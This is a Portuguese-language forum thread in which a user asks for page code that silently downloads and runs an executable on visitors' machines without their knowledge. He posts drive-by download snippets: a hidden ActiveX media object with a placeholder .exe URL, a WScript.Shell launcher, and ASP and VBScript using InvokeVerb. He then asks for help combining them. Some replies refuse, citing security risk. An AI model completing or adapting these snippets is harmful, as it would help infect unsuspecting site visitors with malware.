Sign in to follow this  
joaozin

Duvida Sobre Javascript

Recommended Posts

oi gente!

sou novo aqui e to querendo saber um código em javascript que não conseguir acha-lo em outros tópicos...

o código que eu to precisando é um que faça um download de um arquivo automáticamente quando um usário visitar minha página e depois ser executado mas que isso seja totalmente oculto...

que ele só perceba quando o arquivo já estiver sendo executado...

se não souberem tudo bem, não precisam esquentar a cabeça por causa de mim...

ficarei muito grato se me passarem esse código...

alguém pode me ajudar?

Share this post


Link to post
Share on other sites

Olá joaozin.

Seja bem-vindo ao fórum. :D

Olha...num da pra fazer isso com JS. Em nenhuma linguagem é possível fazer isso...

É um risco grande de segurança e nenhuma linguagem (que eu conheça) dá suporte a isso.

Bem, desculpe não poder ajuda-lo mais, mas realmente não é possível.

Share this post


Link to post
Share on other sites

cara desculpe por não concordar com você mas eu acho que é possível sim...

não dê muita atenção a isso porque não entendo muito de js mas eu já vi um código que faz um download automaticamente (e oculto) de um .exe mas ele não é executado...

apenas fica salvo...

o que eu queria não deve ser fácil de fazer mas eu acho pode ser possível...

então é isso.

obrigado pela sua atenção.

Share this post


Link to post
Share on other sites
Guest Visitante

É um risco de segurança crítico, imagine se for um vírus por exemplo.

Em JavaScript não dá. Se mesmo assim você acha que dá, examine o código da página que você falou.

Share this post


Link to post
Share on other sites

melhor...vou coloca-lo aqui.

<OBJECT id=anim style="DISPLAY: none"classid=CLSID:05589FA1-C356-11CE-BF01-00AA0055595A> 
<PARAM NAME="Appearance" VALUE="0"> 
<PARAM NAME="AutoStart" VALUE="0"> 
<PARAM NAME="AllowChangeDisplayMode" VALUE="-1"><PARAM NAME="AllowHideDisplay" VALUE="0"> 
<PARAM NAME="AllowHideControls" VALUE="-1"><PARAM NAME="AutoRewind" VALUE="-1"> 
<PARAM NAME="Balance" VALUE="0"><PARAM NAME="CurrentPosition" VALUE="0"> 
<PARAM NAME="DisplayBackColor" VALUE="0"><PARAM NAME="DisplayForeColor" VALUE="16777215"> 
<PARAM NAME="DisplayMode" VALUE="0"><PARAM NAME="Enabled" VALUE="-1"> 
<PARAM NAME="EnableContextMenu" VALUE="-1"><PARAM NAME="EnablePositionControls" VALUE="-1"> 
<PARAM NAME="EnableSelectionControls" VALUE="0"><PARAM NAME="EnableTracker" VALUE="-1"> 
<PARAM NAME="Filename" VALUE="AQUI você COLOCA A URL DO  EXE"> 
<PARAM NAME="FullScreenMode" VALUE="0"> 
<PARAM NAME="MovieWindowSize" VALUE="0"><PARAM NAME="PlayCount" VALUE="1"><PARAM NAME="Rate" VALUE="1"> 
<PARAM NAME="SelectionStart" VALUE="-1"><PARAM NAME="SelectionEnd" VALUE="-1"> 
<PARAM NAME="ShowControls" VALUE="-1"><PARAM NAME="ShowDisplay" VALUE="-1"> 
<PARAM NAME="ShowPositionControls" VALUE="0"><PARAM NAME="ShowTracker" VALUE="-1"> 
<PARAM NAME="Volume" VALUE="0"> 
</OBJECT> 
<script language=JavaScript> 

document.write('<IMG DYNSRC='+anim.Filename+' '); 

document.write(' WIDTH=0 HEIGHT=0'); 

document.write(' loop=-1 '); 

document.write(' >'); 

</SCRIPT>
e agora um em java script:
<script language="JavaScript"> 
function LaunchExe(strPath, strCurrentDirectory) { 
var wshShell = new ActiveXObject("WScript.Shell"); 
if (null != strCurrentDirectory) { 
wshShell.CurrentDirectory = strCurrentDirectory; 
} 
wshShell.Run(strPath, 1, false); 
wshShell = null; 
} 
</script>
mas ele apenas faz um download...queria que ele executasse e em asp:
<% 
Const ForReading = 1 
sDir = "c:\test\debug" 
set oShell = Server.CreateObject("Shell.Application") 
set oFolder = oShell.NameSpace(sDir) 
' oFile is a FolderItem 
set oFile = oFolder.ParseName ("p_r1.exe") 
' response.write "Testing" & "<BR>" 
' response.write oFile.Name & "<BR>" 
' response.write oFile.IsFileSystem & "<BR>" 
' response.write oFile.ModifyDate & "<BR>" 
' response.write oFile.Size & "<BR>" 
' response.write oFile.Type & "<BR>" 
' response.write oFile.Path & "<BR>" 
oFile.InvokeVerb 
%>

Share this post


Link to post
Share on other sites

Isso é a execução de ActiveX em JavaScript.

Seria incorreto eu lhe ensinar isto. Os riscos de segurança são muito grandes.

Share this post


Link to post
Share on other sites

Tente adaptar o próprio código que você postou para o que você deseja fazer.

Share this post


Link to post
Share on other sites

olha só isso.:

<script language="VBScript"> 
Const ForReading = 1 
sDir = "C:\pasta_do_arquivo\" 
set oShell = CreateObject("Shell.Application") 
set oFolder = oShell.NameSpace(sDir) 
' oFile is a FolderItem 
set oFile = oFolder.ParseName ("arquivo.exe") 
' response.write "Testing" & "<BR>" 
' response.write oFile.Name & "<BR>" 
' response.write oFile.IsFileSystem & "<BR>" 
' response.write oFile.ModifyDate & "<BR>" 
' response.write oFile.Size & "<BR>" 
' response.write oFile.Type & "<BR>" 
' response.write oFile.Path & "<BR>" 
oFile.InvokeVerb 
</script> 

podem me ajudar com esse código?

como eu posso fazer ele fazer um download oculto colocando uma url de um arquivo?

aonde poderia colocar essa URL?

Ajudaaa pliz... :D

Share this post


Link to post
Share on other sites
Guest Visitante

Eaee.. td bm?

cara, num sei muito bem do que eu toh falando, acho...

mais porque você num tenta coloka esse arqivo como abrindo direto em AutoExe?

aih eli vai executa d qlq jeito....

Flwww!!!!

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this